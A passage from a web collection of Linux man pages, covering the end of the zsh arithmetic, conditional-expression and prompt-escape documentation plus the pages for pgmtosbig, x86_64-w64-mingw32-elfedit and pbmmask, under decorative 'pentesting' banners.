outputs first `8#40’, the rightmost value in the given output base, and then `8#40 16#20’, because y has been explicitly declared to have output base 16, while x (assuming it does not already exist) is implicitly typed by the arithmetic evaluation, where it acquires the output base 8.

The base may be replaced or followed by an underscore, which may itself be followed by a positive integer (if it is missing the value 3 is used). This indicates that underscores should be inserted into the output string, grouping the number for visual clarity. The following integer specifies the number of digits to group together. For example:

setopt cbases print $(( [#16_4] 65536 ** 2 ))

outputs `0x1_0000_0000’.

The feature can be used with floating point numbers, in which case the base must be omitted; grouping is away from the decimal point. For example,

zmodload zsh/mathfunc print $(( [#_] sqrt(1e7) ))

outputs `3_162.277_660_168_379_5’ (the number of decimal places shown may vary).

If the C_BASES option is set, hexadecimal numbers are output in the standard C format, for example `0xFF’ instead of the usual `16#FF’. If the option OCTAL_ZEROES is also set (it is not by default), octal numbers will be treated similarly and hence appear as `077’ instead of `8#77’. This option has no effect on the output of bases other than hexadecimal and octal, and these formats are always understood on input.

When an output base is specified using the `[#base]’ syntax, an appropriate base prefix will be output if necessary, so that the value output is valid syntax for input. If the # is doubled, for example `[##16]’, then no base prefix is output.

Floating point constants are recognized by the presence of a decimal point or an exponent. The decimal point may be the first character of the constant, but the exponent character e or E may not, as it will be taken for a parameter name. All numeric parts (before and after the decimal point and in the exponent) may contain underscores after the leading digit for visual guidance; these are ignored in computation.

An arithmetic expression uses nearly the same syntax and associativity of expressions as in C.

In the native mode of operation, the following operators are supported (listed in decreasing order of precedence):

+ - ! ~ ++ –
unary plus/minus, logical NOT, complement, {pre,post}{in,de}crement

<< >>
bitwise shift left, right

&
bitwise AND

^
bitwise XOR

|
bitwise OR

**
exponentiation

* / %
multiplication, division, modulus (remainder)

+ -
addition, subtraction

< > <= >=
comparison

== !=
equality and inequality

&&
logical AND

|| ^^
logical OR, XOR

? :
ternary operator

= += -= *= /= %= &= ^= |= <<= >>= &&= ||= ^^= **=
assignment

,
comma operator

The operators `&&’, `||’, `&&=’, and `||=’ are short-circuiting, and only one of the latter two expressions in a ternary operator is evaluated. Note the precedence of the bitwise AND, OR, and XOR operators.

With the option C_PRECEDENCES the precedences (but no other properties) of the operators are altered to be the same as those in most other languages that support the relevant operators:

+ - ! ~ ++ –
unary plus/minus, logical NOT, complement, {pre,post}{in,de}crement

**
exponentiation

* / %
multiplication, division, modulus (remainder)

+ -
addition, subtraction

<< >>
bitwise shift left, right

< > <= >=
comparison

== !=
equality and inequality

&
bitwise AND

^
bitwise XOR

|
bitwise OR

&&
logical AND

^^
logical XOR

||
logical OR

? :
ternary operator

= += -= *= /= %= &= ^= |= <<= >>= &&= ||= ^^= **=
assignment

,
comma operator

Note the precedence of exponentiation in both cases is below that of unary operators, hence `-3**2’ evaluates as `9’, not `-9’. Use parentheses where necessary: `-(3**2)’. This is for compatibility with other shells.

Mathematical functions can be called with the syntax `func**(args)**’, where the function decides if the args is used as a string or a comma-separated list of arithmetic expressions. The shell currently defines no mathematical functions by default, but the module zsh/mathfunc may be loaded with the zmodload builtin to provide standard floating point mathematical functions.

An expression of the form `##x’ where x is any character sequence such as `a’, `^A’, or `\M-\C-x’ gives the value of this character and an expression of the form `#name’ gives the value of the first character of the contents of the parameter name. Character values are according to the character set used in the current locale; for multibyte character handling the option MULTIBYTE must be set. Note that this form is different from `$#name’, a standard parameter substitution which gives the length of the parameter name. `#**’ is accepted instead of `##**’, but its use is deprecated.

Named parameters and subscripted arrays can be referenced by name within an arithmetic expression without using the parameter expansion syntax. For example,

((val2 = val1 * 2))

assigns twice the value of $val1 to the parameter named val2.

An internal integer representation of a named parameter can be specified with the integer builtin. Arithmetic evaluation is performed on the value of each assignment to a named parameter declared integer in this manner. Assigning a floating point number to an integer results in rounding towards zero.

Likewise, floating point numbers can be declared with the float builtin; there are two types, differing only in their output format, as described for the typeset builtin. The output format can be bypassed by using arithmetic substitution instead of the parameter substitution, i.e. `${float}’ uses the defined format, but `$((float))’ uses a generic floating point format.

Promotion of integer to floating point values is performed where necessary. In addition, if any operator which requires an integer (`&’, `|’, `^’, `<<’, `>>’ and their equivalents with assignment) is given a floating point argument, it will be silently rounded towards zero except for `~’ which rounds down.

Users should beware that, in common with many other programming languages but not software designed for calculation, the evaluation of an expression in zsh is taken a term at a time and promotion of integers to floating point does not occur in terms only containing integers. A typical result of this is that a division such as 6/8 is truncated, in this being rounded towards 0. The FORCE_FLOAT shell option can be used in scripts or functions where floating point evaluation is required throughout.

Scalar variables can hold integer or floating point values at different times; there is no memory of the numeric type in this case.

If a variable is first assigned in a numeric context without previously being declared, it will be implicitly typed as integer or float and retain that type either until the type is explicitly changed or until the end of the scope. This can have unforeseen consequences. For example, in the loop

for (( f = 0; f < 1; f += 0.1 )); do # use $f done

if f has not already been declared, the first assignment will cause it to be created as an integer, and consequently the operation `f += 0.1’ will always cause the result to be truncated to zero, so that the loop will fail. A simple fix would be to turn the initialization into `f = 0.0’. It is therefore best to declare numeric variables with explicit types.

CONDITIONAL EXPRESSIONS

A conditional expression is used with the [[ compound command to test attributes of files and to compare strings. Each expression can be constructed from one or more of the following unary or binary expressions:

-a file true if file exists.

-b file
true if file exists and is a block special file.

-c file
true if file exists and is a character special file.

-d file
true if file exists and is a directory.

-e file
true if file exists.

-f file
true if file exists and is a regular file.

-g file
true if file exists and has its setgid bit set.

-h file
true if file exists and is a symbolic link.

-k file
true if file exists and has its sticky bit set.

-n string
true if length of string is non-zero.

-o option
true if option named option is on. option may be a single character, in which case it is a single letter option name. (See the section `Specifying Options’.)

When no option named option exists, and the POSIX_BUILTINS option hasn’t been set, return 3 with a warning. If that option is set, return 1 with no warning.

-p file
true if file exists and is a FIFO special file (named pipe).

-r file
true if file exists and is readable by current process.

-s file
true if file exists and has size greater than zero.

-t fd
true if file descriptor number fd is open and associated with a terminal device. (note: fd is not optional)

-u file
true if file exists and has its setuid bit set.

-v varname
true if shell variable varname is set.

-w file
true if file exists and is writable by current process.

-x file
true if file exists and is executable by current process. If file exists and is a directory, then the current process has permission to search in the directory.

-z string
true if length of string is zero.

-L file
true if file exists and is a symbolic link.

-O file
true if file exists and is owned by the effective user ID of this process.

-G file
true if file exists and its group matches the effective group ID of this process.

-S file
true if file exists and is a socket.

-N file
true if file exists and its access time is not newer than its modification time.

file1 -nt file2
true if file1 exists and is newer than file2.

file1 -ot file2
true if file1 exists and is older than file2.

file1 -ef file2
true if file1 and file2 exist and refer to the same file.

string = pattern

string == pattern true if string matches pattern. The two forms are exactly equivalent. The `=’ form is the traditional shell syntax (and hence the only one generally used with the test and [ builtins); the `==’ form provides compatibility with other sorts of computer language.

string != pattern
true if string does not match pattern.

string =~ regexp
true if string matches the regular expression regexp. If the option RE_MATCH_PCRE is set regexp is tested as a PCRE regular expression using the zsh/pcre module, else it is tested as a POSIX extended regular expression using the zsh/regex module. Upon successful match, some variables will be updated; no variables are changed if the matching fails.

If the option BASH_REMATCH is not set the scalar parameter MATCH is set to the substring that matched the pattern and the integer parameters MBEGIN and MEND to the index of the start and end, respectively, of the match in string, such that if string is contained in variable var the expression `${var[$MBEGIN,$MEND]}’ is identical to `$MATCH’. The setting of the option KSH_ARRAYS is respected. Likewise, the array match is set to the substrings that matched parenthesised subexpressions and the arrays mbegin and mend to the indices of the start and end positions, respectively, of the substrings within string. The arrays are not set if there were no parenthesised subexpressions. For example, if the string `a short string’ is matched against the regular expression `s(…)t’, then (assuming the option KSH_ARRAYS is not set) MATCH, MBEGIN and MEND are `short’, 3 and 7, respectively, while match, mbegin and mend are single entry arrays containing the strings `hor’, `4’ and `6’, respectively.

If the option BASH_REMATCH is set the array BASH_REMATCH is set to the substring that matched the pattern followed by the substrings that matched parenthesised subexpressions within the pattern.

string1 < string2
true if string1 comes before string2 based on ASCII value of their characters.

string1 > string2
true if string1 comes after string2 based on ASCII value of their characters.

exp1 -eq exp2
true if exp1 is numerically equal to exp2. Note that for purely numeric comparisons use of the (()) builtin described in the section `ARITHMETIC EVALUATION’ is more convenient than conditional expressions.

exp1 -ne exp2
true if exp1 is numerically not equal to exp2.

exp1 -lt exp2
true if exp1 is numerically less than exp2.

exp1 -gt exp2
true if exp1 is numerically greater than exp2.

exp1 -le exp2
true if exp1 is numerically less than or equal to exp2.

exp1 -ge exp2
true if exp1 is numerically greater than or equal to exp2.

( exp )
true if exp is true.

! exp
true if exp is false.

exp1 && exp2
true if exp1 and exp2 are both true.

exp1 || exp2
true if either exp1 or exp2 is true.

For compatibility, if there is a single argument that is not syntactically significant, typically a variable, the condition is treated as a test for whether the expression expands as a string of non-zero length. In other words, [[ $var ]] is the same as [[ -n $var ]]. It is recommended that the second, explicit, form be used where possible.

Normal shell expansion is performed on the file, string and pattern arguments, but the result of each expansion is constrained to be a single word, similar to the effect of double quotes.

Filename generation is not performed on any form of argument to conditions. However, it can be forced in any case where normal shell expansion is valid and when the option EXTENDED_GLOB is in effect by using an explicit glob qualifier of the form (#q) at the end of the string. A normal glob qualifier expression may appear between the `q’ and the closing parenthesis; if none appears the expression has no effect beyond causing filename generation. The results of filename generation are joined together to form a single word, as with the results of other forms of expansion.

This special use of filename generation is only available with the [[ syntax. If the condition occurs within the [ or test builtin commands then globbing occurs instead as part of normal command line expansion before the condition is evaluated. In this case it may generate multiple words which are likely to confuse the syntax of the test command.

For example,

[[ -n file*(#qN) ]]

produces status zero if and only if there is at least one file in the current directory beginning with the string `file’. The globbing qualifier N ensures that the expression is empty if there is no matching file.

Pattern metacharacters are active for the pattern arguments; the patterns are the same as those used for filename generation, see zshexpn(1), but there is no special behaviour of `/’ nor initial dots, and no glob qualifiers are allowed.

In each of the above expressions, if file is of the form `**/dev/fd/**n’, where n is an integer, then the test applied to the open file whose descriptor number is n, even if the underlying system does not support the /dev/fd directory.

In the forms which do numeric comparison, the expressions exp undergo arithmetic expansion as if they were enclosed in $(()).

For example, the following:

[[ ( -f foo || -f bar ) && $report = y* ]] && print File exists.

tests if either file foo or file bar exists, and if so, if the value of the parameter report begins with `y’; if the complete condition is true, the message `File exists.’ is printed.

EXPANSION OF PROMPT SEQUENCES

Prompt sequences undergo a special form of expansion. This type of expansion is also available using the -P option to the print builtin.

If the PROMPT_SUBST option is set, the prompt string is first subjected to parameter expansion, command substitution and arithmetic expansion. See zshexpn(1).

Certain escape sequences may be recognised in the prompt string.

If the PROMPT_BANG option is set, a `!’ in the prompt is replaced by the current history event number. A literal `!’ may then be represented as `!!'.

If the PROMPT_PERCENT option is set, certain escape sequences that start with `%’ are expanded. Many escapes are followed by a single character, although some of these take an optional integer argument that should appear between the `%’ and the next character of the sequence. More complicated escape sequences are available to provide conditional expansion.

SIMPLE PROMPT ESCAPES

Special characters

%% A `%'.

%)
A `)'.

Login information

%l The line (tty) the user is logged in on, without `/dev/’ prefix. If the name starts with `/dev/tty’, that prefix is stripped.

%M
The full machine hostname.

%m
The hostname up to the first `.’. An integer may follow the `%’ to specify how many components of the hostname are desired. With a negative integer, trailing components of the hostname are shown.

%n
$USERNAME.

%y
The line (tty) the user is logged in on, without `/dev/’ prefix. This does not treat `/dev/tty’ names specially.

Shell state

%# A `#’ if the shell is running with privileges, a `%’ if not. Equivalent to `%(!.#.%%)’. The definition of `privileged’, for these purposes, is that either the effective user ID is zero, or, if POSIX.1e capabilities are supported, that at least one capability is raised in either the Effective or Inheritable capability vectors.

%?
The return status of the last command executed just before the prompt.

%_
The status of the parser, i.e. the shell constructs (like `if’ and `for’) that have been started on the command line. If given an integer number that many strings will be printed; zero or negative or no integer means print as many as there are. This is most useful in prompts PS2 for continuation lines and PS4 for debugging with the XTRACE option; in the latter case it will also work non-interactively.

%^
The status of the parser in reverse. This is the same as `%_’ other than the order of strings. It is often used in RPS2.

%d

%/ Current working directory. If an integer follows the `%’, it specifies a number of trailing components of the current working directory to show; zero means the whole path. A negative integer specifies leading components, i.e. %-1d specifies the first component.

%~
As %d and %/, but if the current working directory starts with $HOME, that part is replaced by a `~’. Furthermore, if it has a named directory as its prefix, that part is replaced by a `~’ followed by the name of the directory, but only if the result is shorter than the full path; see Dynamic and Static named directories in zshexpn(1).

%e
Evaluation depth of the current sourced file, shell function, or eval. This is incremented or decremented every time the value of %N is set or reverted to a previous value, respectively. This is most useful for debugging as part of $PS4.

%h

%! Current history event number.

%i
The line number currently being executed in the script, sourced file, or shell function given by %N. This is most useful for debugging as part of $PS4.

%I
The line number currently being executed in the file %x. This is similar to %i, but the line number is always a line number in the file where the code was defined, even if the code is a shell function.

%j
The number of jobs.

%L
The current value of $SHLVL.

%N
The name of the script, sourced file, or shell function that zsh is currently executing, whichever was started most recently. If there is none, this is equivalent to the parameter $0. An integer may follow the `%’ to specify a number of trailing path components to show; zero means the full path. A negative integer specifies leading components.

%x
The name of the file containing the source code currently being executed. This behaves as %N except that function and eval command names are not shown, instead the file where they were defined.

%c

%.

%C Trailing component of the current working directory. An integer may follow the `%’ to get more than one component. Unless `%C’ is used, tilde contraction is performed first. These are deprecated as %c and %C are equivalent to %1~ and %1/, respectively, while explicit positive integers have the same effect as for the latter two sequences.

Date and time

%D The date in yy**-mm-**dd format.

%T
Current time of day, in 24-hour format.

%t

%@ Current time of day, in 12-hour, am/pm format.

%*
Current time of day in 24-hour format, with seconds.

%w
The date in day**-**dd format.

%W
The date in mm**/dd/**yy format.

%D{string}
string is formatted using the strftime function. See strftime(3) for more details. Various zsh extensions provide numbers with no leading zero or space if the number is a single digit:

%f
a day of the month

%K
the hour of the day on the 24-hour clock

%L
the hour of the day on the 12-hour clock

In addition, if the system supports the POSIX gettimeofday system call, %. provides decimal fractions of a second since the epoch with leading zeroes. By default three decimal places are provided, but a number of digits up to 9 may be given following the %; hence %6. outputs microseconds, and %9. outputs nanoseconds. (The latter requires a nanosecond-precision clock_gettime; systems lacking this will return a value multiplied by the appropriate power of 10.) A typical example of this is the format `%D{%H:%M:%S.%.}'.

The GNU extension %N is handled as a synonym for %9..

Additionally, the GNU extension that a `-’ between the % and the format character causes a leading zero or space to be stripped is handled directly by the shell for the format characters d, f, H, k, l, m, M, S and y; any other format characters are provided to the system’s strftime(3) with any leading `-’ present, so the handling is system dependent. Further GNU (or other) extensions are also passed to strftime(3) and may work if the system supports them.

Visual effects

%B (%b) Start (stop) boldface mode.

%E
Clear to end of line.

%U (%u)
Start (stop) underline mode.

%S (%s)
Start (stop) standout mode.

%F (%f)
Start (stop) using a different foreground colour, if supported by the terminal. The colour may be specified two ways: either as a numeric argument, as normal, or by a sequence in braces following the %F, for example %F{red}. In the latter case the values allowed are as described for the fg zle_highlight attribute; see Character Highlighting in zshzle(1). This means that numeric colours are allowed in the second format also.

%K (%k)
Start (stop) using a different bacKground colour. The syntax is identical to that for %F and %f.

%{%}
Include a string as a literal escape sequence. The string within the braces should not change the cursor position. Brace pairs can nest.

A positive numeric argument between the % and the { is treated as described for %G below.

%G
Within a %{%} sequence, include a `glitch’: that is, assume that a single character width will be output. This is useful when outputting characters that otherwise cannot be correctly handled by the shell, such as the alternate character set on some terminals. The characters in question can be included within a %{%} sequence together with the appropriate number of %G sequences to indicate the correct width. An integer between the `%’ and `G’ indicates a character width other than one. Hence %{seq%2G%} outputs seq and assumes it takes up the width of two standard characters.

Multiple uses of %G accumulate in the obvious fashion; the position of the %G is unimportant. Negative integers are not handled.

Note that when prompt truncation is in use it is advisable to divide up output into single characters within each %{%} group so that the correct truncation point can be found.

CONDITIONAL SUBSTRINGS IN PROMPTS

%v The value of the first element of the psvar array parameter. Following the `%’ with an integer gives that element of the array. Negative integers count from the end of the array.

%(x.true-text.false-text)
Specifies a ternary expression. The character following the x is arbitrary; the same character is used to separate the text for the `true’ result from that for the `false’ result. This separator may not appear in the true-text, except as part of a %-escape sequence. A `)’ may appear in the false-text as `%)’. true-text and false-text may both contain arbitrarily-nested escape sequences, including further ternary expressions.

The left parenthesis may be preceded or followed by a positive integer n, which defaults to zero. A negative integer will be multiplied by -1, except as noted below for `l’. The test character x may be any of the following:

!
True if the shell is running with privileges.

#
True if the effective uid of the current process is n.

?
True if the exit status of the last command was n.

_
True if at least n shell constructs were started.

C
/
True if the current absolute path has at least n elements relative to the root directory, hence / is counted as 0 elements.

c
.
~
True if the current path, with prefix replacement, has at least n elements relative to the root directory, hence / is counted as 0 elements.

D
True if the month is equal to n (January = 0).

d
True if the day of the month is equal to n.

e
True if the evaluation depth is at least n.

g
True if the effective gid of the current process is n.

j
True if the number of jobs is at least n.

L
True if the SHLVL parameter is at least n.

l
True if at least n characters have already been printed on the current line. When n is negative, true if at least abs(n) characters remain before the opposite margin (thus the left margin for RPROMPT).

S
True if the SECONDS parameter is at least n.

T
True if the time in hours is equal to n.

t
True if the time in minutes is equal to n.

v
True if the array psvar has at least n elements.

V
True if element n of the array psvar is set and non-empty.

w
True if the day of the week is equal to n (Sunday = 0).

%<string<

%>string>

%[xstring] Specifies truncation behaviour for the remainder of the prompt string. The third, deprecated, form is equivalent to `%xstringx’, i.e. x may be `<’ or `>’. The string will be displayed in place of the truncated portion of any string; note this does not undergo prompt expansion.

The numeric argument, which in the third form may appear immediately after the `[’, specifies the maximum permitted length of the various strings that can be displayed in the prompt. In the first two forms, this numeric argument may be negative, in which case the truncation length is determined by subtracting the absolute value of the numeric argument from the number of character positions remaining on the current prompt line. If this results in a zero or negative length, a length of 1 is used. In other words, a negative argument arranges that after truncation at least n characters remain before the right margin (left margin for RPROMPT).

The forms with `<’ truncate at the left of the string, and the forms with `>’ truncate at the right of the string. For example, if the current directory is `/home/pike’, the prompt `%8<..<%/’ will expand to `..e/pike’. In this string, the terminating character (`<’, `>’ or `]’), or in fact any character, may be quoted by a preceding `****’; note when using print -P, however, that this must be doubled as the string is also subject to standard print processing, in addition to any backslashes removed by a double quoted string: the worst case is therefore `print -P “%<\<<…”'.

If the string is longer than the specified truncation length, it will appear in full, completely replacing the truncated string.

The part of the prompt string to be truncated runs to the end of the string, or to the end of the next enclosing group of the `%(’ construct, or to the next truncation encountered at the same grouping level (i.e. truncations inside a `%(’ are separate), which ever comes first. In particular, a truncation with argument zero (e.g., `%<<’) marks the end of the range of the string to be truncated while turning off truncation from there on. For example, the prompt `%10<…<%~%<<%# ’ will print a truncated representation of the current directory, followed by a `%’ or `#’, followed by a space. Without the `%<<’, those two characters would be included in the string to be truncated. Note that `%-0<<’ is not equivalent to `%<<’ but specifies that the prompt is truncated at the right margin.

Truncation applies only within each individual line of the prompt, as delimited by embedded newlines (if any). If the total length of any line of the prompt after truncation is greater than the terminal width, or if the part to be truncated contains embedded newlines, truncation behavior is undefined and may change in a future version of the shell. Use `%-n(l.true-text.false-text)’ to remove parts of the prompt when the available space is less than n.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

317 - Linux cli command pgmtosbig

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmtosbig and provides detailed information about the command pgmtosbig, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmtosbig.

.

NAME 🖥️ pgmtosbig 🖥️

convert PGM image to SBIG format

SYNOPSIS

pgmtosbig

[pgmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pgmtosbig reads a PGM image as input and produces a Santa Barbara Instrument Group SBIG Type 3 image as output.

Note that this format is distinct from the SBIG ST-4 format.

  • The image is uncompressed

  • The image says it is from a “ST-6” camera

  • The image header has these lines:

  • camera type

  • height

  • width

  • saturation level

OPTIONS

There are no command line options defined specifically for pgmtosbig, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

sbigtopgm(1) , pgm(1)

HISTORY

pgmtosbig was new in Netpbm 10.70, and was intended primarily as a test tool for sbigtopgm.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmtosbig.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

318 - Linux cli command x86_64-w64-mingw32-elfedit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-elfedit and provides detailed information about the command x86_64-w64-mingw32-elfedit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-elfedit.

NAME 🖥️ x86_64-w64-mingw32-elfedit 🖥️

update ELF header and program property of ELF files

SYNOPSIS

elfedit [**–input-mach=machine] [–input-type=type] [–input-osabi=osabi] [–input-abiversion=**version] **–output-mach=**machine **–output-type=**type –output-osabi=osabi –output-abiversion=version –enable-x86-feature=feature –disable-x86-feature=feature [-v|–version] [-h|–help] elffile

DESCRIPTION

elfedit updates the ELF header and program property of ELF files which have the matching ELF machine and file types. The options control how and which fields in the ELF header and program property should be updated.

elffile… are the ELF files to be updated. 32-bit and 64-bit ELF files are supported, as are archives containing ELF files.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one of the –output-mach, –output-type, –output-osabi, –output-abiversion, –enable-x86-feature and –disable-x86-feature options must be given.

–input-mach=machine
Set the matching input ELF machine type to machine. If –input-mach isn’t specified, it will match any ELF machine types. The supported ELF machine types are, i386, IAMCU, L1OM, K1OM and x86-64.

–output-mach=machine
Change the ELF machine type in the ELF header to machine. The supported ELF machine types are the same as –input-mach.

–input-type=type
Set the matching input ELF file type to type. If –input-type isn’t specified, it will match any ELF file types. The supported ELF file types are, rel, exec and dyn.

–output-type=type
Change the ELF file type in the ELF header to type. The supported ELF types are the same as –input-type.

–input-osabi=osabi
Set the matching input ELF file OSABI to osabi. If –input-osabi isn’t specified, it will match any ELF OSABIs. The supported ELF OSABIs are, none, HPUX, NetBSD, GNU, Linux (alias for GNU), Solaris, AIX, Irix, FreeBSD, TRU64, Modesto, OpenBSD, OpenVMS, NSK, AROS and FenixOS.

–output-osabi=osabi
Change the ELF OSABI in the ELF header to osabi. The supported ELF OSABI are the same as –input-osabi.

–input-abiversion=version
Set the matching input ELF file ABIVERSION to version. version must be between 0 and 255. If –input-abiversion isn’t specified, it will match any ELF ABIVERSIONs.

–output-abiversion=version
Change the ELF ABIVERSION in the ELF header to version. version must be between 0 and 255.

–enable-x86-feature=feature
Set the feature bit in program property in exec or dyn ELF files with machine types of i386 or x86-64. The supported features are, ibt, shstk, lam_u48 and lam_u57.

–disable-x86-feature=feature
Clear the feature bit in program property in exec or dyn ELF files with machine types of i386 or x86-64. The supported features are the same as –enable-x86-feature. Note: –enable-x86-feature and –disable-x86-feature are available only on hosts with mmap support.

-v

–version

Display the version number of elfedit.

-h

–help

Display the command-line options understood by elfedit.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

319 - Linux cli command pbmmask

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmmask and provides detailed information about the command pbmmask, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmmask.

.

NAME 🖥️ pbmmask 🖥️

create a mask bitmap from a regular bitmap

SYNOPSIS

pbmmask [-expand] [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmmask reads a PBM image as input and generates a corresponding mask of the foreground areas as another PBM image.

This is probably obsoleted by pambackground.

The color to be interpreted as “background” is determined automatically. Regardless of which color is background, the mask will be white where the background is and black where the figure is.

This lets you do a masked paste like this, for objects with a black background:

    pbmmask obj > objmask
    pnmpaste < dest -and objmask <x> <y> | pnmpaste -or obj <x> <y>

For objects with a white background, you can either invert them or add a step:

    pbmmask obj > objmask
    pnminvert objmask | pnmpaste -and obj 0 0 > blackback
    pnmpaste < dest -and objmask <x> <y> | pnmpaste -or blackback <x> <y>

Note that this three-step version works for objects with black backgrounds too, if you don’t care about the wasted time.

You can also use masks with grayscale and color images, using the pnmarith tool. For instance:

    ppmtopgm obj.ppm | pamditherbw -threshold | pbmmask > objmask.pbm
    pnmarith -multiply dest.ppm objmask.pbm > t1.ppm
    pnminvert objmask.pbm | pnmarith -multiply obj.ppm - > t2.ppm
    pnmarith -add t1.ppm t2.ppm

An interesting variation on this is to pipe the mask through pnmsmooth before using it. This makes the boundary between the two images less sharp.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmmask recognizes the following command line option:

-expand
Expands the mask by one pixel out from the image. This is useful if you want a little white border around your image. (A better solution might be to turn the pbmlife program into a general cellular automaton tool…)

SEE ALSO

pambackground(1) ppmcolormask(1) , pnmpaste(1) , pnminvert(1) , pnmarith(1) , pnmsmooth(1) pbm(1) ,

AUTHOR

Copyright (C) 1988 by Jef Poskanzer.

HISTORY

pbmmask is one of the oldest programs in Netpbm. In September 2021, the date on this manual was August 8, 1989 (being the date of the last substantial update). We updated the page then just to add this historical information and recommend pambackground.

It is likely that when Bryan wrote pambackground in 2006, he was unaware pbmmask existed. Otherwise, he would presumably have replaced pbmmask with a wrapper around pambackground.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmmask.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

320 - Linux cli command ps2pdf14

